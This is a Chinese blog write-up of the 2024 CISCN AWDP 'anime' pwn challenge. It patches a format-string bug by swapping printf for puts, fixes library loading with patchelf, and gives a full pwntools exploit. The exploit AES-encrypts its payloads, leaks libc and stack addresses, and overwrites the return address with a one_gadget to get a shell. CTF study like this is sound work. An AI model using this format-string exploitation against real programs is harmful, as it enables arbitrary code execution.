2024ciscn-AWDP复现

D0wnBe@t Lv4

前引

参考:https://zhuanlan.zhihu.com/p/714123601

修补包示例

  • update.sh
1
2
3
#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn
  • 打包命令
1
tar zcvf update.tar.gz update.sh pwn_fix

anime

FIX

  • 格式化字符串一眼顶真

image-20250307211724663

printfputs

image-20250307211814795

image-20250307211839893

image-20250307211847465

Break

patchelf

  • 题目的坑点其实在于你无法运行程序,因为

image-20250307213737249

image-20250307213805998

libcrypto.so.1.1缺少libdl.so.2,libpthread.so.0,因此无法运行。

我们可以先按照正常的 patchelf来修改pwn文件

1
2
patchelf --set-interpreter /home/downbeat/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/ld-linux-x86-64.so.2 ./pwn
patchelf --set-rpath /home/downbeat/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/ ./pwn

然后我尝试patchelf修改 libcrypto.so.1.1却显示不行

image-20250307220858888

不过无伤大雅,pwn的执行路径修改为2.31-0ubuntu9.17_amd64目录下,我们将 libcrypto.so.1.1也放进该目录下就可以了:

1
cp libcrypto.so.1.1 /home/downbeat/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64

image-20250307220956614

就可以正常运行了。

EXP

  • 题目保护全开,考虑到非栈上格式化字符串漏洞,可以选择改main函数的返回地址为ogg,因此需要泄露栈地址和libc地址,开头其实也可以泄露pie的基地址,如下:

image-20250307224312440

可以填满7字节+换行符1字节,然后会打印出start的地址, -0x11E0就是pie的基地址(但是没用到)

1
2
3
4
sla("name\n",'a'*7)
ru(b'\n')
pie_base = u64(p.recv(6) + b'\x00\x00') - 0x11E0
lg("PIE_base: ",pie_base)
  • readline()中,会对输入的数据进行 AES解密,然后才传递给 printf,所以发送数据之前要进行AES加密

  • 只给了三次格式化字符串漏洞的机会,泄露栈地址和libc就需要一次,修改ret_addr为ogg的话需要四次(低两字节+中两字节),但是好在我们可以先用两次机会修改i的值,因为i也在栈上,修改为我们想要的数值即可,然后就是正常的修改了

  • 没有远程环境,直接打的本地,见EXP吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/home/downbeat/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6"


p = process(file)
elf = ELF(file)
libc = ELF(libc)
# p = remote("",)

sla("name\n",'a'*7)
ru(b'\n')
pie_base = u64(p.recv(6) + b'\x00\x00') - 0x11E0
lg("PIE_base: ",pie_base)

# 发送的数据会进行AES解密
# AES解密完只有16字节的数据,每次发送的数据不超过16字节
key = bytes.fromhex("7BF35CD69C475D5E6F1D7A23187BF934")
def mysend(payload):
ru("anime: ")
cipher = AES.new(key , AES.MODE_ECB)
real_payload = cipher.encrypt(pad(payload,16))
sl(real_payload)


# 泄露libc
mysend(b'%15$paaa%12$paaa')
ru("your like ")
libc.address = int(p.recv(14),16) - 243 - libc.sym['__libc_start_main']
ru(b'aaa')
rsp = rsp = int(p.recv(14),16) - 0x130

lg("libc_address: ",libc.address)
lg("rsp: ",rsp)

# 由于只能利用两次格式化字符串漏洞,次数有点少
# 故先选择修改i,获取多的次数
payload = b'%' + str((rsp + 0x14) & 0xffff).encode() + b'c%6$hn' # 指定i的位置修改即可
mysend(payload)

payload = b'%' + b'5'+ b'c%45$hn' # 修改次数为5
mysend(payload)

one = [0xe3afe , 0xe3b01 , 0xe3b04 ]

# 四次改,第一次改17的位置为rbp+0x48
payload = b'%' + str((rsp+0x48) & 0xffff).encode() + b'c%17$hn'
mysend(payload)

# 第二次改45的位置为ogg,只修改了低两字节
ogg = one[1] + libc.address
lg("ogg: ",ogg)
payload = b'%' + str(ogg & 0xffff).encode() + b'c%45$hn'
mysend(payload)

# 第三次改17的位置为...
payload = b'%' + str((rsp+0x48 + 0x2) & 0xffff).encode() + b'c%17$hn'
mysend(payload)

# 第四次改中间两字节
payload = b'%' + str((ogg >> 16) & 0xffff).encode() + b'c%45$hn'
mysend(payload)

ia()

ezheap

FIX

  • 标题: 2024ciscn-AWDP复现
  • 作者: D0wnBe@t
  • 创建于 : 2025-03-07 18:29:47
  • 更新于 : 2025-03-15 21:56:42
  • 链接: http://downbeat.top/2025/03/07/2024ciscn-AWDP复现/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论